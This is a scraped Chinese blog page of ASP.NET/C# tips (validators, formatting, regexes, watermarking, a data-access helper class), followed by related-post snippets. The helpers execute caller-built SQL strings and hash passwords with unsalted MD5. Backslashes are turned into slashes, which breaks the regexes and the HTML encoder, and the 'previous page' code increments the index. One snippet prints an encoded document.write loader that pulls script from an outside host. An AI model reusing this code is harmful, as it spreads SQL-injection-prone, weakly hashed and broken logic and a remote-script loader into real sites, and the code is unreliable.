asp.net用的一些技巧

ASP.NET实现动态图片轮播技巧 JavaScript是一种轻量级的编程语言,它使得网页能够具有交互式功能。作为一个解释执行的脚本语言,JavaScript不依赖于任何特定的浏览器,但是它运行在浏览器所提供的JavaScript引擎中。在图片切换中,JavaScript扮演了执行逻辑判断和动态内容更新的角色。通过DOM操作,JavaScript能够实时修改网页内容,包括改变图片的显示、处理用户的点击事件等。// 一个简单的JavaScript示例在上述代码中,函数接受一个参数src,这个参数代表图片的地址。 阅读详情
 

1.为按钮添加确认对话框
Button.Attributes.Add("onclick","return confirm('确认?')");
Button.Attributes.Add("onclick","if(confirm('确定?')){return true;}else{return false;}")

2.表格超连接列传递参数
<asp:HyperLinkColumn Target="_blank" headertext="ID号" DataTextField="id" NavigateUrl="aaa.aspx?id='<%# DataBinder.Eval(Container.DataItem, "数据字段1")%>'&name='<%# DataBinder.Eval(Container.DataItem, "数据字段2")%>'/>

3.表格点击改变颜色
if (e.Item.ItemType == ListItemType.Item ||e.Item.ItemType == ListItemType.AlternatingItem)
{
  e.Item.Attributes.Add("onclick","this.style.backgroundColor='#99cc00';this.style.color='buttontext';this.style.cursor='default';");
}

4.清空Cookie
Cookie.Expires=[DateTime];
Response.Cookies("UserName").Expires = 0;

5.Panel 横向滚动,纵向自动扩展
<asp:panel style="overflow-x:scroll;overflow-y:auto;"></asp:panel>

6.数字格式化
<%#Container.DataItem("price")%> 结果:500.0000格式化:500.00
<%#Container.DataItem("price","{0:¥#,##0.00}")%>
int i=123456;
string s=i.ToString("###,###.00");

7.日期格式化
<%# DataBinder.Eval(Container.DataItem,"Date")%> 结果:2004-8-11 19:44:28 格式化:2004-8-11
<%# DataBinder.Eval(Container.DataItem,"Date","{0:yyyy-M-d}")%>

8.时间格式化
string aa=DateTime.Now.ToString("yyyy年MM月dd日");
当前年月日时分秒 currentTime=System.DateTime.Now;
当前年 int 年= DateTime.Now.Year;
当前毫秒 int 毫秒= DateTime.Now.Millisecond;

9.自定义分页代码
public static int pageCount; //总页面数
public static int curPageIndex=1; //当前页面   
if(ccDataGrid.CurrentPageIndex<(ccDataGrid.PageCount - 1))
{//下一页
  ccDataGrid.CurrentPageIndex += 1;
  curPageIndex+=1;
}
bind(); // ccDataGrid数据绑定函数
if(ccDataGrid.CurrentPageIndex>0)
{ //上一页
  ccDataGrid.CurrentPageIndex += 1;
  curPageIndex-=1;
}
bind(); // ccDataGrid数据绑定函数
int a=int.Parse(JumpPage.Value.Trim());//JumpPage.Value.Trim()为跳转值
if(a<DataGrid1.PageCount)
{ //直接页面跳转
  this.ccDataGrid.CurrentPageIndex=a;
}
bind(); // ccDataGrid数据绑定函数

10.变量.ToString()
字符型转换 转为字符串
12345.ToString("n"); //生成 12,345.00
12345.ToString("C"); //生成 ¥12,345.00
12345.ToString("e"); //生成 1.234500e+004
12345.ToString("f4"); //生成 12345.0000
12345.ToString("x"); //生成 3039 (16进制)
12345.ToString("p"); //生成 1,234,500.00%

11.客户端验证控件
//验证空值
<asp:requiredfieldvalidator id="valUsername" runat="server" controltovalidate="txtUsername" display="None" errormessage="请输入用户名 !!"></asp:requiredfieldvalidator>
//验证网址
<asp:regularexpressionvalidator id="rev" runat="server" ErrorMessage="公司网址不合法[要有http://] !" Display="None" ControlToValidate="txtCPWebsite" ValidationExpression="http://([/w-]+/.)+[/w-]+(/[/w- ./?%&amp;=]*)?"></asp:regularexpressionvalidator>
//验证邮箱
<asp:RequiredFieldValidator id="rfv" runat="server" ControlToValidate="txtCPEmail" Display="None" ErrorMessage="请输入电子邮箱 !!"></asp:RequiredFieldValidator>
//验证邮编
<asp:regularexpressionvalidator id="rev5" runat="server" ErrorMessage="邮政编码不合法 !" Display="None" ControlToValidate="txtCPPostCode" ValidationExpression="/d{6}"></asp:regularexpressionvalidator>
//显示错误信息
<asp:validationsummary id="vs" runat="server" ShowSummary="False" ShowMessageBox="True"></asp:validationsummary>

12.DataBinding绑定表达式
1) 普通的绑定表达式
<%# DataBinder.Eval(Container.DataItem, "ContactName") %>
2) 文本+绑定表达式
<asp:Label id=lblDate runat="server" Text='<%# "[" + DataBinder.Eval(Container, "DataItem.NewsCreatedate") + "]" %>' ForeColor="Red"></asp:Label>
3) 同时带有显示格式的绑定表达式
<%# DataBinder.Eval(Container,"DataItem.USActiveDate","{0:yyyy-MM-dd}") %>
4) 结合绑定表达式和模态框
<A href='<%# ShowModalWin(Convert.ToString(DataBinder.Eval(Container.DataItem, "PictureImage")),Convert.ToString(DataBinder.Eval(Container.DataItem, "DetailID")),Convert.ToString(DataBinder.Eval(Container.DataItem, "PictureID")))%>'>
其中:后台代码文件中ShowModalWin()方法的定义如下:
protected string ShowModalWin(string PictureImage,string DetailID,string PictureID)
{
return " window.showModalDialog(/"Customers/ShowPictureInfo.aspx?pid="+PictureImage+"&did="+DetailID+"&id="+PictureID+"/",/"/",/"dialogHeight:320px;dialogWidth:480px;center:yes;help:no; status:no;scroll:no/");";
}
或者将参数提取出来单独定义成一变量:
const string WINDOWPARAMSTRING="dialogWidth:540px;dialogHeight:420px;help:0;status:0;resizeable:1;scroll:no";
Page.RegisterStartupScript("functionscript","<script language='javascript'>window.showModalDialog('EditUserService.aspx?URID="+iURID+"','','"+WINDOWPARAMSTRING+"')</script>");

13.html字符转换的两个函数
public string Encode(string str)
{
str=str.Replace("&","&amp;");
str=str.Replace("'","''");
str=str.Replace("/"","&quot;");
str=str.Replace(" ","&nbsp;");
str=str.Replace("<","&lt;");
str=str.Replace(">","&gt;");
str=str.Replace("/n","<br>");
return str;
}
public string Decode(string str)
{
str=str.Replace("/n","<br>");
str=str.Replace("&gt;",">");
str=str.Replace("&lt;","<");
str=str.Replace("&nbsp;"," ");
str=str.Replace("&quot;","/"");
return str;
}

14.产生62位内任意数字大小写字母的随机数
private static char[] constant=
{
'0','1','2','3','4','5','6','7','8','9',
'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u' ,'v','w','x','y','z',
'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'
};
public static string GenerateRandom(int Length)
{
System.Text.StringBuilder newRandom = new System.Text.StringBuilder(62);
Random rd= new Random();
for(int i=0;i<Length;i++)
{
newRandom.Append(constant[rd.Next(62)]);
}
return newRandom.ToString();
}
//调用
string str=GenerateRandom(6);//参数表示需要产生随机数的数目

15.图像加入版权信息
using System.Drawing;
using System.IO;
using System.Drawing.Imaging;

private void AddTextToImg(string fileName,string text)
{
if(!File.Exists(MapPath(fileName)))
{
throw new FileNotFoundException("The file don't exist!");
}
if( text == string.Empty )
{
return;
}
//还需要判断文件类型是否为图像类型
System.Drawing.Image image = System.Drawing.Image.FromFile(MapPath(fileName));
Bitmap bitmap = new Bitmap(image,image.Width,image.Height);
Graphics g = Graphics.FromImage(bitmap);
float fontSize = 12.0f; //字体大小
float textWidth = text.Length*fontSize; //文本的长度
//下面定义一个矩形区域,以后在这个矩形里画上白底黑字
float rectX = 0;
float rectY = 0;
float rectWidth = text.Length*(fontSize+8);
float rectHeight = fontSize+8;
//声明矩形域
RectangleF textArea = new RectangleF(rectX,rectY,rectWidth,rectHeight);
Font font = new Font("宋体",fontSize); //定义字体
Brush whiteBrush = new SolidBrush(Color.White); //白笔刷,画文字用
Brush blackBrush = new SolidBrush(Color.Black); //黑笔刷,画背景用
g.FillRectangle(blackBrush,rectX,rectY,rectWidth,rectHeight);

g.DrawString(text,font,whiteBrush,textArea);
MemoryStream ms = new MemoryStream( );
//保存为Jpg类型
bitmap.Save(ms,ImageFormat.Jpeg);
//输出处理后的图像,这里为了演示方便,我将图片显示在页面中了
Response.Clear();
Response.ContentType = "image/jpeg";
Response.BinaryWrite( ms.ToArray() );
g.Dispose();
bitmap.Dispose();
image.Dispose();
}
//调用
AddTextToImg("me.jpg","Family.Man");

16.常用正则表达式集锦
"^//d+$"  //非负整数(正整数 + 0)
"^[0-9]*[1-9][0-9]*$"  //正整数
"^((-//d+)|(0+))$"  //非正整数(负整数 + 0)
"^-[0-9]*[1-9][0-9]*$"  //负整数
"^-?//d+$"    //整数
"^//d+(//.//d+)?$"  //非负浮点数(正浮点数 + 0)
"^(([0-9]+//.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*//.[0-9]+)|([0-9]*[1-9][0-9]*))$"  //正浮点数
"^((-//d+(//.//d+)?)|(0+(//.0+)?))$"  //非正浮点数(负浮点数 + 0)
"^(-(([0-9]+//.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*//.[0-9]+)|([0-9]*[1-9][0-9]*)))$"  //负浮点数
"^(-?//d+)(//.//d+)?$"  //浮点数
"^[A-Za-z]+$"  //由26个英文字母组成的字符串
"^[A-Z]+$"  //由26个英文字母的大写组成的字符串
"^[a-z]+$"  //由26个英文字母的小写组成的字符串
"^[A-Za-z0-9]+$"  //由数字和26个英文字母组成的字符串
"^//w+$"  //由数字、26个英文字母或者下划线组成的字符串
"^[//w-]+(//.[//w-]+)*@[//w-]+(//.[//w-]+)+$"    //email地址
"^[a-zA-z]+://(//w+(-//w+)*)(//.(//w+(-//w+)*))*(//?//S*)?$"  //url

17.绑定在DataList中的DropDownList
private void dlistOrder_EditCommand(object source, System.Web.UI.WebControls.DataListCommandEventArgs e)
{
//绑定订单状态
for(int i=0;i<((DropDownList)dlistOrder.Items[e.Item.ItemIndex].FindControl("ddlFlag")).Items.Count;i++)
{
if(((DropDownList)dlistOrder.Items[e.Item.ItemIndex].FindControl("ddlFlag")).Items[i].Value == dv.Table.Rows[0]["OrStatus"].ToString())
{
((DropDownList)dlistOrder.Items[e.Item.ItemIndex].FindControl("ddlFlag")).Items[i].Selected = true;
}
}
}

//另一种绑定方式,绑定送货方式
DataView shipType = OrderSO.GetShipTypeList();
DropDownList ddlShipType = (DropDownList)dlistOrder.Items[e.Item.ItemIndex].FindControl("ddlShipType");
ddlShipType.DataSource = shipType;
ddlShipType.DataTextField = "StName";
ddlShipType.DataValueField = "StId";
ddlShipType.DataBind();
ddlShipType.SelectedIndex = ddlShipType.Items.IndexOf(ddlShipType.Items.FindByValue(dv.Table.Rows[0]["OrShipType"].ToString()));

18.验证用户名必须以字母打头且不能含有中文
String sUsername = txtUsername.Text.Trim();
if(!Regex.IsMatch(sUsername, "^[A-Za-z].*"))
{
Utility.MessageBox(this,"nameFormatError","用户名要以字母开头, 且不要用中文名称 !!");
return;
}

 

operate.cs

   //获取数据表类,常用于绑定datalist等等 调用参数如"select * from news"
    public static DataTable GetDataTable(string sqlstr)
    {
        SqlConnection con = newscon.creatcon();
        con.Open();
        SqlDataAdapter sda = new SqlDataAdapter(sqlstr, con);
        DataSet ds=new DataSet();
        sda.Fill(ds,"news");
        con.Close();
        return ds.Tables["news"];
    }

    //获得符合条件的元组总数,调用参数如"select count(*) from user where uname='changcan'"
    public static int GetCount(string sqlstr)
    {
        SqlConnection con = newscon.creatcon();
        con.Open();
        SqlCommand cmd = new SqlCommand(sqlstr, con);
        int result = Convert.ToInt32(cmd.ExecuteScalar());
        con.Close();
        return result;
    }

    //获得符合条件的某个数值(string),调用参数如"select upwd from user where uname='changcan'"
    public static string   GetStr(string sqlstr)
    {
        SqlConnection con = newscon.creatcon();
        con.Open();
        SqlCommand cmd = new SqlCommand(sqlstr,con);
        string result = Convert.ToString(cmd.ExecuteScalar());
        con.Close();
        return result;
    }

    //获取客户机IP,
    public static string GetIp()
    {
        string clientip;
        clientip=System.Web.HttpContext.Current.Request.ServerVariables["http-x-forwarded-for"];
        if (clientip.Length == 0)
        {clientip=System.Web.HttpContext.Current.Request.ServerVariables["remote_addr"]; }
        if (clientip.Length == 0)
        { clientip = System.Web.HttpContext.Current.Request.UserHostAddress; }
        return clientip;
    }

    //获取日期时间编码+三位随机数ID
    public static string GetId()
    {
        string idstr = System.DateTime.Now.ToString();
        idstr = idstr.Replace("-", "");
        idstr = idstr.Replace(":", "");
        idstr = idstr.Replace(" ", "");
        idstr = idstr.Trim();
        Random rm = new Random();
        idstr=idstr+rm.Next(1,999);
        return idstr;
    }

    //检查符合条件的元组是否存在 调用参数如"select count(*) from user where uname='changcan'"
    public static bool CheckExit(string sqlstr)
    {
        SqlConnection con = newscon.creatcon();
        con.Open();
        SqlCommand cmd = new SqlCommand(sqlstr,con);
        int result = Convert.ToInt32(cmd.ExecuteScalar());
        con.Close();
        if (result > 0)
        { return true; }
        else
        { return false; }
    }


    //执行sql语句,执行成功返回true 否则false
    public static bool ExecSql(string sqlstr)
    {
        SqlConnection con = newscon.creatcon();
        con.Open();
        SqlCommand cmd = new SqlCommand(sqlstr,con);
        int result =Convert.ToInt32(cmd.ExecuteNonQuery());
        if (result > 0)
        { return true; }
        else
        { return false; }

    }

    //字符串去掉前面和后面的空格
    public static string DeleSpace(string str)
    {
        return str.Trim();
    }
    //截取指定长度的字符串
    public static string   TrimStr(string str,int len)
    {
        str = str.Trim();
        if (str.Length > len)
        { str = str.Substring(0, len) + "..."; }
        return str;
    }

//md5加密数据
public static string encrypt(string pwd)
    {
        MD5 mh = MD5.Create();
        byte[] data = mh.ComputeHash(Encoding.Default.GetBytes(pwd));
        StringBuilder sb = new StringBuilder();
        for (int i = 0; i < data.Length; i++)
        {
            sb.Append(data[i].ToString("x2"));
        }
        return sb.ToString();
    }

 还有
WPF中DrawingBrush的示例 本示例演示如何使用 Drawing 绘制一个区域。若要使用 Drawing 绘制区域,应使用一个 DrawingBrush 以及一个或多个 Drawing 对象。 下面的示例使用 DrawingBrush 绘制一个具有由两个椭圆组成的 Drawing 的对象。 立即下载

相关推荐

Java后端中的链路追踪:使用OpenTelemetry实现全链路监控

在现代的微服务架构中,链路追踪是监控和优化系统性能的关键技术。通过链路追踪,我们可以跟踪请求在系统中的流转,识别性能瓶颈,定位问题根源。本文将介绍如何在Java后端应用中使用OpenTelemetry实现全链路监控,包括具体的实现步骤和代码示例。通过集成OpenTelemetry,您可以实现全面的链路追踪,帮助您识别瓶颈和潜在问题,从而提升系统的可靠性和用户体验。OpenTelemetry是一个开源项目,旨在提供统一的工具集来收集、处理和导出应用程序的遥测数据,包括跟踪、度量和日志。

聚娃科技开发者博客 1727

简单的数据库操作示例

public static partial class 【这里是插入方法】 {        public static 【返回对象】 【方法名】(【数据对象】)  {            string sql =    "INSERT 【表名】(【字段】)" +    "VALUES (@【参数名】)";       sql += " ; SELECT @@IDENTITY";      

小水管的专栏 336

北斗三号PPP-B2b信号实战指南:从接收机配置到精度验证全流程

本文提供了北斗三号PPP-B2b信号从硬件配置到数据处理的全流程实战指南。详细解析了信号特性、接收机关键参数设置,并以飞纳接收机和Mass软件为例,演示了数据解算与精度验证方法。通过覆盖中国多地区的联调测试案例,验证了PPP-B2b服务可实现分米级实时定位精度,为无网络地区高精度应用提供了可靠解决方案。

nn3456的博客 553

再论c#获取存储过程返回值(包括SqlSugar)

其实这个问题好多年以前研究过: https://blog.csdn.net/xpnew/article/details/6909902 最近因为需要统计日结月结,给同事写了一套调用存储过程的代码。同时因为项目ORM层是通过SqlSugar实现的,就又研究了一下SqlSugar调用存储过程的内容。 折腾了一番之后,对于【c#获取存储过程返回值】这个技术点,又有了新一层认识。下面写一下要点...

weixin_30911451的博客 2016

在昇腾910B上,用kubeadm快速拉起一个双节点K8s集群(保姆级避坑指南)

本文详细介绍了在昇腾910B服务器上使用kubeadm快速搭建双节点Kubernetes集群的完整流程,包括环境准备、容器运行时配置、kubeadm初始化、节点加入与网络插件部署等关键步骤,特别针对ARM架构和昇腾芯片提供了优化配置和避坑指南。

weixin_29204749的博客 246

EDA与机器学习融合:智能优化芯片设计流程的工程实践

机器学习作为数据驱动的核心技术,通过从历史数据中学习复杂模式,实现对系统行为的预测与优化。其原理在于构建模型,将输入特征映射到目标变量,从而揭示数据背后的内在规律。在工程领域,这项技术的核心价值在于能够将专家经验转化为可量化、可复用的智能模型,显著提升自动化水平与决策效率。电子设计自动化(EDA)是芯片设计的关键支撑,传统流程高度依赖人工试错,面临参数空间巨大、优化周期长等挑战。将机器学习应用于EDA,能够构建预测模型来预估设计性能(PPA),或通过代理模型加速设计空间探索,实现智能化的设计辅助与优化。本文

weixin_30411239的博客 684

C#中ExecuteReader、ExecuteNonQuery、ExecuteScalar、SqlDataReader、SqlDataAdapter和DataTable的使用

来自:http://blog.sina.com.cn/s/blog_6d60228f0101dg6i.html 一、数据库连接字符串     private readonly static string connectionString =  ConfigurationManager.ConnectionStrings["MyConnection"].ToString(); //web.con

zoey的专栏 1万+

嵌入式存储入门:Emmc控制器与设备工作原理全解析(附Synopsys/Arasan架构图)

本文深入解析了嵌入式系统中Emmc控制器与设备的工作原理,重点剖析了其作为CPU与存储设备桥梁的核心架构。通过对比Synopsys和Arasan两家主流IP厂商的控制器设计,详细阐述了DMA引擎与FIFO缓冲模块如何协同工作以提升数据传输效率,并提供了从硬件PCB布局到驱动调试的实战指南,帮助硬件工程师与开发者优化系统性能。

weixin_29248653的博客 146

ASP.NET知识点总结

ASP.NET知识点总结1、ASP.Net的特色与优势2、几对概念3、解决方案构成4、系统对象与状态管理5、控件的分类6、站点地图7、系统导航8、母版页9、系统框架10、数据绑定11、数据源控件12、数据绑定控件GridView数据查询与展示、删除DetailsView 展示多选光棒效果13、数据验证控件14、文件上载15、其他服务器控件DataList 查询与展示16、基于SQL语句分页17...

分享技术,传播知识! 5283

透传产品上报AEP平台数据流程

1. 什么是数据透传 数据透传:指的是在通讯中不管传输的业务内容如何,只负责将传输的内容由源地址传输到目的地址,而不对业务数据内容做任何改变。 这篇文章描述了如何将一台NB设备通过透传方式将数据传输到AEP平台,再通过数据订阅的方式获取到这些数据。 2. 步骤 2.1 设备在AEP平台创建 AEP:https://dm.ctwing.cn/ 新建产品 添加设备 根据模组的15位IMEI添加设备 开启内网穿透 具体可参照我的这篇博客:内网穿透-如何进行本地数据调试 设置数据推送

qq_42265394的博客 2296

sam3.1 部署笔记 推理封装

sam3.1 部署笔记

jacke121的专栏 424

学习笔记二

vtkVolumeRayCastMapper和vtkVolumeTextureMapper2D仅支持VTK_UNSIGNED_CHAR 和VTK_UNSIGNED_SHORT类型数据。//色调范围从红色到蓝色。VTKFixedPointVolumeRayCastMapper灵活性最高,支持所有类型数据,最该可以支持四元数据。vtkVolumeTextureMapper3D则支持任意类型数据,当然必须输单组分数据或者是多元独立数据。//设置颜色表中的颜色,下列两种方式都可以。//设置颜色表中的颜色。

qq_51007998的博客 282

寻路最终版哦

相信大家用unity3d寻路的时候,一定会碰到多人

yxriyin的专栏 6955

我的新书《asp.net开发技巧精讲》

搜     asp.net开发技巧精讲 卓越亚马逊本书链接http://www.amazon.cn/ASP-NET%E5%BC%80%E5%8F%91%E6%8A%80%E5%B7%A7%E7%B2%BE%E8%AE%B2-%E9%BB%84%E9%B8%A3/dp/B006PHZCZU/ref=sr_1_1?ie=UTF8&qid=1324889808&sr=8-1  当当网本书链接http:/

深度Java 2万+

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

ASP.NET编程中的十大技巧

ASP.NET编程中的十大技巧[日期:2005-02-06]来源:csdn  作者:[字体:大 中 小] 在本篇文件中,我们将讨论编程人员在使用ASP.NET开发应用程序时需要注意的10个技巧,这些技巧涉及从缺省的控件、表单名的改变到StringBuilder类的使用,有助于编程人员能够尽快地适应.NET环境。 1、在使用Visual Studio .NET时,除直接或非引用的对象外,不要使用缺省

平凡的心 1105

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

ASP.NET技巧集合

1.让ImageButton控件背景透明的方法靠的就是background:url()这句代码2.TextBox控件自动完成技巧TextBox 控件有什么新鲜事?嗯!有个看似很小但却常来困扰的小改良,就是“自动完成”(AutoComplete)。何谓自动完成呢?也就是TextBox 会记忆用户曾经输入过文字,当下次再次输入时就会自动提示相关字词,最常见的是用户登录网站时就会自动带出帐号

北风的专栏 1189

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

ASP.NET编程技巧

记录ASP.NET编程技巧,持续更新: (1)可以用递归的方法一次性删除页面上的文本框的值,不管这个文本框在多少级容器中. private void ClearText(ControlCollection Controls) { foreach (Control item in Controls) { if (item

拣尽寒枝不肯栖,寂寞沙洲冷。 1931

ASP.NET应用程序设计的10大技巧

在本篇文章中,我们将讨论编程人员在使用ASP.NET开发应用程序时需要注意的10个技巧,这些技巧涉及从缺省的控件、表单名的改变到StringBuilder类的使用,有助于编程人员能够尽快地适应.NET环境。   1、在使用Visual Studio .NET时,除直接或非引用的对象外,不要使用缺省的名字  .NET带来的好处之一是所有的源代码和配置文件都是纯文本文件,能够使用Notepad或Wor

做好.NET的学习者 4676

ASP.NET技巧之命名设置

谈到ASP.NET技巧之命名设置,在使用Visual Studio .NET时,除直接或非引用的对象外,不要使用缺省的名字。 .NET带来的好处之一是所有的源代码和配置文件都是纯文本文件,能够使用Notepad或WordPad等任意的文本编辑器进行编辑。如果不愿意,我们并非一定要使用Visual Studio .NET作为集成开发环境。但使用了Visual Studio .NET,我们...

hd154的专栏 336

[ASP.NET学习笔记之十七]ASP.NET DataGrid 高级使用技巧

ASP.NET DataGrid 高级使用技巧传统ASP与ASP.NET在数据呈现方面的比较  ASP 建立数据库连接 用SQL查询装载ADO数据集 显示所需要的任何HTML

lne818的专栏 2276

ASP.NET编程十大技巧

<br /><br />在本篇文件中,我们将讨论编程人员在使用ASP.NET开发应用程序时需要注意的10个技巧,这些技巧涉及从缺省的控件、表单名的改变到StringBuilder类的使用,有助于编程人员能够尽快地适应.NET环境。<br />1、在使用Visual Studio .NET时,除直接或非引用的对象外,不要使用缺省的名字。<br />.NET带来的好处之一是所有的源代码和配置文件都是纯文本文件,能够使用Notepad或WordPad等任意的文本编辑器进行编辑。如果不愿意,我们并非一定要使用Vis

392

asp.net开发常用技巧收集

 HTML Tags and JavaScript tutorialvar encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);

223

asp.net编程中的十大技巧

在本篇文件中,为大家整理了编程人员在使用ASP.NET开发应用程序时需要注意的10个技巧,这些技巧涉及从缺省的控件、表单名的改变到StringBuilder类的使用,有助于编程人员能够尽快地适应.NET环境。  1、在使用Visual Studio .NET时,除直接或非引用的对象外,不要使用缺省的名字。  .NET带来的好处之一是所有的源代码和配置文件都是纯文本文件,

Keymo_的奋斗史 1870

asp.net性能的技巧

【摘 要】 我只是提供我几个我认为有助于提高写高性能的asp.net应用程序的技巧,本文提到的提高asp.net性能的技巧只是一个起步,更多的信息请参考《Improving ASP.NET Performance》一书。   1. 数据库访问性能优化   数据库的连接和关闭   访问数据库资源需要创建连接、打开连接和关闭连接几个操作。这些过程需要多次与数据库交换信息以通过身份验证,比较耗费

sinodier的专栏 359

ASP.NET缓存数据技巧三则

ASP.NET使用缓存机制,将需要大量服务器资源来创建的对象存储在内存中。本文介绍在编写ASP.NET应用时可能会用到的三个ASP.NET缓存数据技巧。<br /> <br />ASP.NET缓存数据技巧:访问缓存的值<br />由于缓存中所存储的信息为易失信息,即该信息可能由 ASP.NET 移除,因此建议先确定该项是否在缓存中。如果不在,则应将它重新添加到缓存中,然后检索该项。string cachedString;  if (Cache["CacheItem"] != null)  {      ca

ypf2434的专栏 256
下一篇: asp.net开发常用技巧收集
tmoonlight
博客等级 码龄19年 27粉丝 28原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值